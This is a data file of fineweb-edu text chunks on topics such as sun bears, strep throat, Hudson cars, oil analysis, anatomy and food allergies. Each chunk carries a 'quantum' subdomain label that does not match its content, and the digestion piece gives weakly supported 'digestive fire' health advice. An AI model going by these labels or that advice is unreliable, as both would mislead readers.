sun bear relies heavily on its sense of smell, as its eyesight is thought to be poor. sun bears love termites and ants, but have been known to consume more than 100 species of insects and more than 50 different kinds of plants. figs are a favorite sun bear treat. the bears will also eat lizards, turtles and eggs. southeast asia tropical rainforests sun bears can be a nuisance for farmers. they are also captured for the pet trade. poaching is another threat, as the sun bear fur and bile are ingredients in some traditional chinese medicines. - sun bears appear to be pigeon - toed due to characteristically inward - turning feet. - the distinctive marking on the sun bear chest is shaped like a horseshoe. - the sun bear has jaws strong enough to crack nuts. animalia, chordata, mammalia, carnivora, ursidae place of birth 4 feet tall, 44 - 88 lbs. dark brown with pale orange on the muzzle, around the eyes and on the chest up to 30 years", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.40165874386237366, "token_count": 297, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.435184"} {"text": "strep throat exposure - exposure to someone with a strep throat infection - also called close contact - living in the same house as someone ( sibling, parent, or other household member ) who has a throat culture or rapid - strep test that is positive for strep throat. - kissing relationship with someone ( boyfriend, girlfriend ) who has a throat culture or rapid - strep test that is positive for strep throat. for this to be relevant, the last close contact to the infected person should be within 10 days of onset of symptoms in exposed child. other types of contact : - limited contact with strep : exposed to someone outside the home with a positive strep test ( e. g., at school ). - sometimes the contact is with a person who was treated for clinical symptoms of a strep infection without any culture or testing. - if the contact was with someone taking antibiotics for over 24 hours, they are not contagious. - throat cultures and rapid strep tests aren ' t urgent. most can be done in your doctor ' s office. return to school - if your child doesn ' t have any symptoms, he does not need to miss any child care or school. - if your child has symptoms compatible with strep throat, he should avoid child care or school until results of a throat culture are known. when to call your doctor call your doctor now ( night or day ) if - your child looks or acts very sick - great difficulty swallowing fluids or saliva - difficulty breathing or working hard to breathe - fever over 104\u00b0 f ( 40\u00b0 c ) and not improved 2 hours after fever medicine - signs of dehydration ( very dry mouth, no tears with crying and no urine in more than 8 hours ) - you think your child needs to be seen urgently ( note : a throat culture or rapid strep test alone is not urgent ) call your doctor within 24 hours ( between 9 am and 4 pm ) if - you think your child needs to be seen, but not urgently ( or needs a throat culture ) - sore throat pain is severe and not improved 2 hours after taking ibuprofen - age under 1 year old - earache or sinus pain / pressure also present - child with mild symptoms compatible with strep throat ( e. g., sore throat, cries during feedings, puts fingers in mouth, enlarged lymph nodes in the neck, fever ) call your doctor during weekday office hours if - you have other", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4808327146923761, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.453135"} {"text": "mild symptoms compatible with strep throat ( e. g., sore throat, cries during feedings, puts fingers in mouth, enlarged lymph nodes in the neck, fever ) call your doctor during weekday office hours if - you have other questions or concerns parent care at home if - strep contact but no symptoms and you don ' t think your child needs to be seen home care advice for strep contacts - a throat culture isn ' t urgent. - it could be a strep throat or just a viral infection of the throat. - a sore throat is commonly part of a cold. - here are some ways to keep your child comfortable until you get a throat culture. - sore throat relief : - children over age 1 can sip warm chicken broth, apple juice or other warm fluid. - children over age 6 can suck on hard candy ( e. g., butterscotch ) or lollipops. - children over age 8 can also gargle warm water with a little table salt or liquid antacid added. - pain medicine : give acetaminophen ( e. g., tylenol ) or ibuprofen for severe throat discomfort or fever above 102\u00b0 f ( 39\u00b0 c ). - soft diet : cold drinks and milk shakes are especially helpful. ( reason : swollen tonsils can make some foods hard to swallow ). - contagiousness : your child may have a strep throat infection and should avoid child care or school until the results of the throat culture are known. - call your doctor if : - your child becomes worse - reassurance : most children exposed to someone with strep throat do not come down with it, especially if exposure occurs outside the home. throat cultures are unnecessary for children without any symptoms. - incubation period : most children who do catch strep develop some symptoms 2 to 5 days after exposure. - contagiousness : your child does not need to miss any daycare or school. - call your doctor if : - your child develops any strep symptoms in the next 7 days author : barton d. schmitt, m. d. last reviewed : 9 / 15 / 2011 last revised : 8 / 12 / 2011 5 : 17 : 17 pm", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.41252020773106934, "token_count": 466, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.454254"} {"text": "text by joe babiasz, photos courtesy of the nahc automotive historians tend to concentrate on the big three when writing about the emergence of the automotive industry. many smaller companies, including those who produced vehicles for many years, lacked representation in their achievements. hudson motor car company, a firm that produced vehicles for nearly 50 years, has had little written about its participation of the evolution of the auto industry. in an effort to compete with the big three, hudson worked arduously to assemble high quality vehicles. eight men of vision and keen business background organized the hudson motor car company on october 28, 1908. this exceptional group consisted of j. l. hudson, r. b. jackson, hugh chalmers, h. e. coffin, f. o. benzer, roy d. chapin, j. j. brady, and lee counselman. their vision was to build a high quality car that would sell for less than $ 1, 000. work immediately began and by february 24, 1909, the design for the hudson model \u201c twenty \u201d was agreed upon. with that agreement, all partners incorporated the firm under michigan laws. the first hudsons were built in a leased building previously used by the now - defunct aerocar company. it encompassed 80, 000 square feet of floor space, and was typical of early automotive factories. five hundred men were hired and using $ 20, 000 in capital, the first hudson, a model 20 roadster, rolled out of the factory on july 3, 1909. the car became an instant success, selling over 4, 000 units during its first year. after 16 months, net sales amounted to $ 3, 980, 999. production and sales continued to grow, and the hudson partners quickly realized that expansion was needed. early in 1910, 22 acres were purchased at the corner of jefferson and conner avenue in detroit for $ 48, 400. the new factory would cost an additional $ 500, 000. original floor space was 172, 000 square feet. the facility was designed by the prestigious albert kahn, a well - known architect of commercial buildings in detroit and elsewhere. his reinforced concrete design allowed additional buildings to be built outward and upward as necessary, something hudson demanded. after the first year it was clear that additional floor space was needed, and an additional 128, 000 square feet of production space was added to keep up with demand and to produce the new model 33. buyers continued to line up, requiring hudson to once again add additional floor space to the factory. models now included the 33, a five - passenger", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.43755383798603237, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.462688"} {"text": "000 square feet of production space was added to keep up with demand and to produce the new model 33. buyers continued to line up, requiring hudson to once again add additional floor space to the factory. models now included the 33, a five - passenger open car, and model 54, america \u2019 s first medium - priced, six - cylinder car. in 1912, the hudson roadster became the first low - priced car to go 60 miles per hour. by 1914, the hudson six - forty was added to the model list, and that year hudson began putting six - cylinder engines in all of their vehicles. 1915 became a pivotal year for hudson. their new super - six engine was displayed at the new york auto show. it featured the first fully balanced crankshaft that improved the smoothness of the engine, and allowed it to increase its maximum rpm. the change increased horsepower from 48 to 76. demand for the super - six was so great that production reached over 26, 000, necessitating another round of expansion. floor space was increased to 847, 000 square feet. sales grew, and hudson \u2019 s new body styles kept the public content. in 1920, hudson developed an entirely closed car at an open - car price. at the time, most closed cars sold for up to $ 1, 000 more than open cars. hudson was banking on the low price to continue the rise in vehicle sales. the buying public \u2019 s response was so great, hudson had to triple production and double the floor space of the jefferson avenue assembly plant. by 1925, hudson was the third - largest carmaker in the nation behind ford and chevrolet. additional models including the essex were designed. as sales continued to grow, so did the jefferson avenue plant. employment grew along with plant expansion. by 1929, over 300, 000 vehicles rolled off of hudson \u2019 s assembly lines. unfortunately, the depression had a negative impact and sales fell to 114, 000 in 1930 and 57, 000 in 1931. in 1932, hudson phased out the essex nameplate, a part of hudson since 1919, and replaced it with the terraplane brand name. the new brand was highly marketed by amelia earhart. during the rest of the 1930s, hudson developed many improvements to their vehicles including exceptionally large interior spaces, powerful engines, and column - mounted shift levers. in 1940, independent front suspension was added to the hudson lineup. the 1940s brought major changes to hudson \u2019 s jefferson avenue assembly plant. employment grew to 17, 000 and until the war started, hudson continued to deliver high", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.47068877137738535, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.464361"} {"text": "- mounted shift levers. in 1940, independent front suspension was added to the hudson lineup. the 1940s brought major changes to hudson \u2019 s jefferson avenue assembly plant. employment grew to 17, 000 and until the war started, hudson continued to deliver high - quality vehicles at an attractive price. during the war years, the jefferson avenue plant ceased auto production from 1942 until 1945 in order to manufacture war materials like aircraft parts, naval engines, and anti - aircraft guns. the hudson \u201c invader \u201d engine powered many of the landing crafts used during the d - day invasion of normandy. detroit was a much different city by the late 1940s. population grew, as did automotive - related businesses. other auto firms and suppliers including the continental engine company, budd body company, chrysler corporation, and the dodge main assembly plant surrounded the hudson plant. close by were the packard and studebaker plants. detroit had become the epicenter of automotive production. unlike many manufactures of the time that simply assembled cars using parts from other companies, hudson \u2019 s jefferson avenue plant manufactured a majority of components for their vehicles. by the late 1940s the plant encompassed 1, 934, 000 square feet within 23 buildings. everything from axles and rear end gears, sheetmetal, engines, and transmissions were manufactured at the facility. other buildings incorporated research and experimental laboratories, engineering, personnel, and executive offices. surprisingly, hudson offered no employee parking. employees were on their own to find street parking, sometimes requiring them to rent a garage at a nearby house in order to guarantee a nearby spot. by 1947, hudson produced its three - millionth vehicle and was getting ready to ramp up for their new 1948 step - down design. unlike other domestic cars, the \u201c step down \u201d hudson provided much - improved interior room. the new styling was based on hudson \u2019 s uni - body design. this design put the occupant \u2019 s location between the lowered frame area, offering additional headroom and improved handling. the \u201c step down \u201d design was an enormous success. employment grew to 30, 000, and by 1948 sales were 142, 454, an increase of 38 percent over 1947. during the early 1950s, hudson continued to have a good following primarily due to the combination of the step - down body and the new twin - h powerplant, a 308 cubic - inch, six - cylinder engine developing 170 horsepower. it was hudson that was perhaps most known for providing the first factory race engines, with their 7 - x powerplant. under the direction of vince piggins \u2013 who", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.44683706466288087, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.465469"} {"text": "- h powerplant, a 308 cubic - inch, six - cylinder engine developing 170 horsepower. it was hudson that was perhaps most known for providing the first factory race engines, with their 7 - x powerplant. under the direction of vince piggins \u2013 who later went on to fame working for general motors \u2013 a \u201c severe duty \u201d or \u201c police package \u201d allowed customers to up the power to an unheard - of 220 horsepower. this engine went on to help hudson win many stock car races in the early 1950s. by 1952 \u2013 and with other manufacturers now having new body styles and overhead valve v - 8 engines, hudson \u2019 s sales began to crumble. by the end of the 1953 model year, sales were a mere 66, 000. the company was bleeding red ink, and cash reserves were running low. it was clear that the company could not keep up with the big three, and a move was made to find a company to merge with. on january 14th, 1954, in an effort to stay alive, hudson merged with nash - kelvinator to become american motors corporation. in 1955, hudson production moved from the massive jefferson avenue factory in detroit to a facility in kenosha, wisconsin. during this time, hudson became, in essence, a re - badged nash. on june 25th, 1957, the last hudson rolled off the assembly line. during 47 years of existence, hudson made a name for itself as a high - quality car for the masses, and the folks at the jefferson avenue plant were responsible for most of them. today, all of the buildings are gone and the land is used as a chrysler assembly plant parking lot \u2013 a sad ending to a wonderful automobile.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.43996330843373743, "token_count": 338, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.466237"} {"text": "an essential part of engine monitoring programs by joe escobar routine oil analysis has become quite the standard in our industry. many of the engine manufacturers recommend regular sampling as part of a preventive maintenance program. the oil manufacturers have also embraced oil analysis as a way to detect abnormal properties in the oil. an effective oil analysis program is usually able to detect breakdown in internal components before an actual incident occurs. it can also detect contaminants present in the oil that may lead to premature wear of components. keep it clean one of the most important steps in an oil analysis program is the actual sampling technique. whether it is taking an oil sample or removing an oil filter for analysis, everything must be done to ensure that no external contaminants are introduced into the sample. contamination can cause false readings at the lab, therefore a clean container must be used for every oil sample. not only can contaminants be introduced into the oil during sampling, they can be introduced into the engine oil itself during servicing. care should be taken to ensure no contaminated equipment is used to service oil. in addition, certain practices can lead to contamination. one reader shared the problem that his maintenance organization encountered. the oil analysis from the engines they serviced were coming back with small traces of iron shavings. the materials were analyzed and determined not to be coming from the engine. further investigation revealed that the particles were being introduced into the system during servicing. a metal \" church key \" can opener was being used to open the oil cans, and small shavings were being sheared from the can ' s surface and the edge of the church key and introduced into the engine through the oil. an oil servicing unit with a filter was purchased, all aircraft had their oil changed, and the problem went away. types of oil analysis once the owner or operator chooses to perform oil analysis, they need to decide what type of analysis will best suit their needs. there are several ways that oil systems can be analyzed. the most common types of analysis are oil samples, oil filter analysis, and chip detector analysis. a very common practice of oil system analysis is performing routine oil samples. usually, the samples are taken within 30 minutes of shutdown. this ensures that any particulate contamination present doesn ' t get the chance to settle to the bottom of the oil reservoir prior to sampling. the oil is then sent off to a laboratory for analysis. most oil samples are tested using spectrum analysis. jet - care international of cedar knolls, nj, is one lab that performs this type", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.5089397578970596, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.474222"} {"text": "the bottom of the oil reservoir prior to sampling. the oil is then sent off to a laboratory for analysis. most oil samples are tested using spectrum analysis. jet - care international of cedar knolls, nj, is one lab that performs this type of oil analysis. in its test, an inductively coupled plasma ( icp ) spectrometer is used to measure amounts of elements present in the oil. the sampled oil it receives is diluted. it is then mixed with an inert gas, which turns it into an aerosol. this gas is then induced to form a plasma at 9, 000 c, which causes metal ions to take on energy and release new energy in the form of photons. a spectrum with varying wavelengths is then created by each element present. a machine quantifies the amount of energy emitted, and determines the concentration, in parts per million, of metals present. while the oil spectrum analysis is a valuable part of any oil analysis program, it does have its limits. it is only effective in detecting particles smaller than 8 microns. most oil filters are able to filter out particles above 10 microns. therefore, to get a complete analysis, it is a good idea to perform an oil filter analysis in conjunction with the spectrum analysis. aviation laboratories inc. specializes in fluid analysis, fuel products, airframe inspection kits, fitter elements, chemical products, and a complete line of lubricants, cleaners and degreasers... engine oil analysis essintial to turbine engine longevity by joe escobar march 2001 routine oil analysis has become quite the standard in our industry. many of the engine... turbine oil review by frank feinburg october 1998 when early gas turbine engines came into use in the 1940 ' s, mineral oils were used as lubrication. these mineral oils quickly reached...", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.5512795688839957, "token_count": 376, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.475099"} {"text": "here \u2019 s what it looks like : / / example one function triangle ( a, b ) : function sqroot ( x ) : return math. pow ( x,. 5 ) return sqroot ( a * a + b * b ) / / example two for var i = 0 ; i < 5 ; i + + : var el = document. getelementbyid ( \" el \" + i ) if count % 2 = = 0 : el. innerhtml = \" hello \" else : el. innerhtml = \" world \" / / pyscript function triangle ( a, b ) : if a > 0 & & b > 0 : function sqroot ( x ) : if x > 0 : return math. pow ( x,. 5 ) else : return 0 return sqroot ( a * a + b * b ) else : return 0 how do i get it? < script src = \" pyscript. js \" / > to your - put your pyscript code in a pyscript is really just a proof of concept. it has a set of unit tests, and as you can see not all functionality is completed yet. anonymous inline functions do not work, there is no robust handling of indentation, and a number of features ( like switch ) do not work. but, the whole thing is open source so you can get involved.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5380978771012598, "token_count": 287, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.476421"} {"text": "henry gray ( 18251861 ). anatomy of the human body. 1918. white substance. ( 1 ) the origin and course of the superior peduncle have already been described ( page 792 ). ( 2 ) the medial ( posterior ) longitudinal fasciculus is continuous below with the proper fasciculi of the anterior and lateral funiculi of the medulla spinalis. in the medulla oblongata and pons it runs close to the middle line, near the floor of the fourth ventricle ; in the mid - brain it is situated on the ventral aspect of the cerebral aqueduct, below the nuclei of the oculomotor and trochlear nerves. its connections are imperfectly known, but it consists largely of ascending and descending intersegmental or association fibers, which connect the nuclei of the hind - brain and mid - brain to each other. many of the fibers arise in deiterss nucleus ( lateral vestibular nucleus ) and divide into ascending and descending branches which send terminals and collaterals to the motor nuclei of the cranial and spinal nerves. its spinal portion is located in the anterior funiculus and is known as the vestibulospinal fasciculus. other fibers pass to the median longitudinal bundle from cells in the reticular formation of the medulla, pons and mid - brain and also from certain large cells in the terminal nucleus of the trigeminal nerve. according to edinger it extends to the so - called nucleus of the posterior longitudinal bundle in the hypothalamic region, but this is uncertain and the fibers above the nucleus of the oculomotor are smaller in diameter than the rest of the bundle. according to held fibers from the posterior commissure can be traced into the posterior longitudinal bundle, and according to the same author many of the descending fibers arise in the superior colliculus, and, after decussating in the middle line, end in the motor nuclei of the pons and medulla oblongata. these fibers from the superior colliculus probably pass into the ventral longitudinal bundle. fibers are said to pass through the medial longitudinal fasciculus from the nucleus of the abducent nerve into the oculomotor nerve of the opposite side, and through this nerve to the rectus medialis oculi. fraser, however, denies the existence of such fibers. again, fibers are said to be prolonged through this fasciculus from the nucleus of the ocu", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.48624223472022543, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.482615"} {"text": "the opposite side, and through this nerve to the rectus medialis oculi. fraser, however, denies the existence of such fibers. again, fibers are said to be prolonged through this fasciculus from the nucleus of the oculomotor nerve into the facial nerve, and are distributed to the orbicularis oculi, the corrugator, and the frontalis. 1 the ventral longitudinal bundle consists for the most part of the tectospinal fasciculus, and arises from the superior colliculus, the fibers arch ventrally around the central gray matter and cross the midline in the fountain - decussation of meynert. they then descend in the tegmentum, part of them passing through the red nucleus ventral to the medial longitudinal bundle. in the medulla oblongata and spinal cord its fibers are more or less intermingled with the medial longitudinal bundle and the rubrospinal tract. it descends in the adjoining region of the ventral and lateral funiculi. collaterals and terminals are given off to the red nucleus and probably other nuclei of the brain stem and to the anterior column of the spinal cord. it is probably concerned in optic reflexes. ( 3 ) the medial lemniscus or medial fillet ( fig. 713 ). the fibers of the medial lemniscus take origin in the gracile and cuneate nuclei of the medulla oblongata, and as internal arcuate fibers they cross to the opposite side in the sensory decussation ( page 777 ). they then pass in the interolivary stratum upward through the medulla oblongata, in which they are situated behind the cerebrospinal fibers and between the olives. in the pons and lower part of the mid - brain it occupies the ventral part of the reticular formation and tegmentum close to the raphe, while above it gradually shifts to the dorso - lateral part of the tegmentum in the angle between the red nucleus and the substantia nigra. in the pons it assumes a flattened ribbon - like appearance, and is placed dorsal to the trapezium. as the lemniscus ascends, it receives additional fibers from the terminal sensory nuclei of the cranial note 1. a. bruce and j. h. harvey pirrie, on the origin of the facial nerve, review of neurology and psychiatry, december, 1908, no.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4797317908449699, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.483569"} {"text": "garage door openers while cleaning my garage, i found a garage - door opener that i had replaced several years ago and naturally saved it thinking that someday i would try to figure out why it stopped working. so i started wondering about the history of garage - door openers. who was the ingenious person who figured that out? we are all spoiled by this convenience, but it sure is nice. the garage door follows the history of the automobile. early on there were parking garages not at the house, or a carriage house was used. but folks did not want to walk to the parking garage or put their brand new automobile in with their horses. as a result a building similar to the carriage house was built to house their new cars. the name garage comes from the french word \" garer \" which means to shelter or protect. naturally these buildings needed doors, so they were originally built like barn doors and strap hinges were used for the doors and opened outward. the disadvantage of this type of door was that they were difficult to open. also, after a snowstorm, the snow had to be shoveled out of the way first. a better way was needed. in 1921, c. g. johnson invented the first overhead door. this door could be lifted upward, folding parallel to the garage ceiling. five years later, in 1926, mr. johnson also invented the electric automatic garage - door opener. the first garage doors that i remember were very heavy wooden doors that required heavy counter - balance. as time went along, lighter materials were used. our garage has doors of translucent fiberglass. the doors are very light and were installed almost 40 years ago. now most of the doors are better insulated to keep the garage warmer, and we have remote control so the door can be opened from the comfort of our home or car. they also have more safety features. just be sure the electric eye is not hindered by a leaf or cobweb to make the door go back up. that has happened to us a few times.", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.4284290193610025, "token_count": 412, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.485721"} {"text": "a typical u. s. family spends about $ 1, 900 a year on home utility bills, and a large part of that energy is wasted. beyond your pocketbook to the environment, electricity generated by fossil fuels for a single home puts more carbon dioxide into the air than two average cars. yes, there are 29 miele canister and upright vacuum cleaner models, and each has clear differences from the others. but there are only five basic vacuum cleaners used to build them. there are four basic canisters, the s2, the s5, the s6 and the s8, and one basic upright, the s7. different sets of features or accessories, unique to each model within the basic type, are used to create the vacuums that make up the series. keep this in mind and it \u2019 s much easier to choose the best miele vacuum for your home or office. continue reading the vatican museums will construct a special vacuum cleaner and ventilation system to tidy up visitors before they can see the sistine chapel. each visitor will be \u201c dusted, cleaned and chilled \u201d before they can enter. as reported by the guardian, the system, to be operational by the end of the year, is intended to help preserve the 500 - year - old michelangelo frescoes that are the chapel \u2019 s primary attraction. continue reading", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4781885437103578, "token_count": 269, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.487119"} {"text": "nutrition & bone health ten steps to better digestion by dr. susan e. brown, phd you \u2019 ve heard the old saying \u201c you are what you eat. \u201d at the center for better bones, we take that old saying one step further : you are what you eat and absorb. you can eat the highest quality foods on the planet, but if your digestion is weak and you don \u2019 t absorb many of the nutrients in your food, you won \u2019 t receive their full benefits. strengthening your digestion is a key step in the program for better bones, so i have outlined 10 simple steps you can take to enhance digestion and promote nutrient absorption. these steps are simple and practical, offering a helpful blend of ancient eastern wisdom and modern western science. 1. consume cooked foods instead of cold or raw foods. as traditional eastern medicine explains, food must be \u201c burned \u201d in the \u201c fire \u201d of digestion. cold and raw foods must be \u201c heated up \u201d more than cooked foods and as such they dampen and weaken the fire of digestion. persons with weak digestion would do well to eat no or little raw or cold food or drinks. this means favoring cooked vegetables and fruits over raw produce, and using hot soups, casseroles, or grain and bean dishes in place of sandwiches or snack - type meals. avoid cooling the \u201c fire \u201d with cold drinks or ice water during meals. 2. chew your food well and eat at a moderate pace. ideally, you should chew each mouthful some 30 times, breaking the food into small particles and allowing the salivary enzymes to begin their work digesting the food. we suggest putting the fork down between each mouthful and swallowing one bite before taking another as a way to slow down if you \u2019 re accustomed to \u201c bolting \u201d your food. 3. eat in a peaceful and relaxed environment. if you do a little comparative test, you will note that you feel better and your digestion is smoother when you eat in a quiet, peaceful environment. avoid watching television, reading, working, or arguing with others when you eat. you will see the difference. 4. eat simply. mixing many different types of foods taxes the digestive system. experiment with simple meals of just two or three different foods. 5. eat fruit between meals, not with meals, and favor cooked fruit. raw fruit dampens the digestive fire, especially during the winter when we are already cold. as such, those with weak digestion might find that eating raw fruit with meals causes int", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4820758234122079, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.491245"} {"text": "fruit between meals, not with meals, and favor cooked fruit. raw fruit dampens the digestive fire, especially during the winter when we are already cold. as such, those with weak digestion might find that eating raw fruit with meals causes intestinal gas and bloating. cooked fruit is a fine dessert, and you can still use raw fruit for snacks \u2014 but know that even as an occasional snack, fruit might be a problem if your digestive fire is smoldering rather than blazing. 6. drink hot water and hot herbal teas, particularly those that promote digestion. hot water is an excellent way to detoxify the body and build digestive strength. simmering a few slices of ginger root in boiling water makes a ginger root tea that stimulates digestion. ginger in food has the same effect, as does candied ginger root eaten after meals. other herbs that promote good digestion and make excellent herbal teas are chamomile, peppermint, and cinnamon. 7. eat freshly cooked foods. freshly cooked foods are the most nourishing and are free of molds or staleness. it \u2019 s better to eat a simple, freshly cooked meal than a complicated one made of leftovers. 8. avoid overeating. excessive intake of food greatly burdens the entire digestive system. ancient ayurvedic medicine recommends consuming the amount of food that will fit into two cupped hands at any meal. practice moving away from the table while you are still a bit hungry. 9. sit still and relax a few minutes after eating. digestion is an amazing process \u2014 it turns tofu enchiladas into blood and tissue cells. resting a few minutes after eating gets this very complicated process off to a good start by allowing your body \u2019 s resources to focus fully on the digestive engine. 10. if all else fails, seek professional help to determine the source of the problem. if these simple self - help steps do not resolve your digestive problems, you should consider consulting both a physician and a nutritionist. a nutritionist can help you figure out if probiotics and other nutritional digestive aids would be useful. your physician can investigate the possibility that a medical problem is affecting your digestion. the personal program for better bones : the approach i recommend for naturally strong bones. at the center for better bones we promote an all - natural approach to bone regeneration and repair that includes nutrition, diet, exercise, lifestyle guidance, and support. the personal program for better bones is a", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4337752344856989, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.492247"} {"text": "principal proposed natural treatments | other proposed treatments for food allergies and sensitivities a food allergy is defined as an abnormal immune reaction caused by the ingestion of a food or food additive. the most dramatic form of food allergy reaction occurs within minutes, usually in response to certain foods such as shellfish, peanuts, or strawberries. the effects are similar to those of a bee sting allergy, involving hives, itching, swelling in the throat, and difficulty breathing ; this immediate type of allergic reaction can be life - threatening. other food allergy reactions are more delayed, causing relatively subtle symptoms over days or weeks. these include gastrointestinal problems ( constipation, diarrhea, gas, cramping, and bloating ), rashes, and headaches. however, because such delayed reactions are relatively vague and can have other causes, it has remained a controversial subject in medicine. some food allergy - like reactions do not actually involve the immune system. these are termed food sensitivities ( or food intolerance ). in most cases, the cause of such sensitivities is unknown. delayed - type food allergies and sensitivities might play a role in many diseases, including attention deficit disorder vaginal yeast infections irritable bowel syndrome, chronic sinus infections,, and celiac disease. however, not all experts agree ; practitioners of natural medicine tend to be more enthusiastic about the food allergy theory of disease than conventional practitioners. conventional treatment for immediate - type food allergy reactions includes desensitization ( allergy shots ), emergency epinephrine ( adrenaline ) kits for self - injection, and the antihistamine diphenhydramine ( benadryl ). delayed - type food allergies are much more difficult to identify and treat. although skin and blood tests are sometimes used, their reliability is questionable. a particular blood test called alcat has shown some promise, but much more study is necessary to establish its accuracy. food challenge is the only truly reliable way to identify delayed - type food allergies. this method uses some means of disguising the possibly allergenic food, usually by mixing it with other, nonallergenic foods. individuals are randomly given either the possibly allergenic food or on a number of occasions separated by 1 or more days. neither the physician nor the participant knows which is real possibly allergenic food and which is not. evaluation of the response can", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5134209801747825, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.498308"} {"text": ". individuals are randomly given either the possibly allergenic food or on a number of occasions separated by 1 or more days. neither the physician nor the participant knows which is real possibly allergenic food and which is not. evaluation of the response can then determine whether an allergic response is really present or not. studies suggest that perhaps only one - third of people who believe they are allergic to a given food actually experience an allergic reaction when they are given it in a double - blind fashion ; in addition, reactions are often milder than individuals believe. although it is the most accurate way of determining food allergies, the double - blind food challenge is still mostly used in research. the elimination diet with food challenges ( described below ) is the most common technique in use. another conventional approach for delayed - type food allergies is oral cromolyn ( a drug sometimes used in an inhaled form for treating asthma and other allergic illnesses ). a double - blind, placebo - controlled study of 14 children with milk and other food allergies found that cromolyn was effective in preventing allergic reactions in 11 of 13 cases, whereas placebo was effective in only 3 of 9 cases. in another study, 32 individuals were given cromolyn one half hour before meals and at bedtime. if their food allergy symptoms were prevented, the participants were entered into a double - blind, placebo - controlled crossover study using cromoglycate. of the 31 people who completed the study, 24 experienced relief of gastrointestinal symptoms when taking cromolyn as compared to 2 when taking placebo. in addition, systemic allergic reactions were also blocked with the cromolyn. unfortunately, the drug also had many side effects. principal proposed natural treatments there are no well - documented natural treatments for food allergies. the most obvious approach would be to remove known allergenic foods from the diet. some alternative practitioners offer lab tests to identify such allergens. however, as described above, no lab tests have been proven accurate for this purpose. the elimination diet is another approach for identifying allergenic foods. this method involves starting with a highly restricted diet consisting only of foods that are seldom allergenic, such as rice, yams, and turkey. if dietary restriction leads to resolution or improvement of symptoms, foods are then reintroduced one by one to see which, if any, will trigger reactions. there is some evidence that the elimination diet may be effective for chronic or recurrent it has been tried for many other conditions as well,", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.5116365062511321, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.499359"} {"text": "or improvement of symptoms, foods are then reintroduced one by one to see which, if any, will trigger reactions. there is some evidence that the elimination diet may be effective for chronic or recurrent it has been tried for many other conditions as well, including irritable bowel syndrome 35chronic ear infections still another method involves simply eliminating the most common allergens. cow ' s milk protein intolerance is thought to be the most common childhood allergy, followed by allergies to eggs, peanuts, nuts, and fish. some evidence indicates that use of special hypoallergenic infant formulas rather than cow ' s milk formula may help prevent, and food - induced digestive distress. in addition, eliminating cow ' s milk from the diets of breastfeeding infants and their nursing mothers might reduce symptoms of although not all studies have found benefit. in hopes of food allergies and diseases related to them, some authorities recommend that pregnant and breastfeeding mothers as well as their children should avoid allergenic foods. however, it is not clear if this method actually provides any benefit. for example, one study evaluated 165 children at high risk of developing allergic 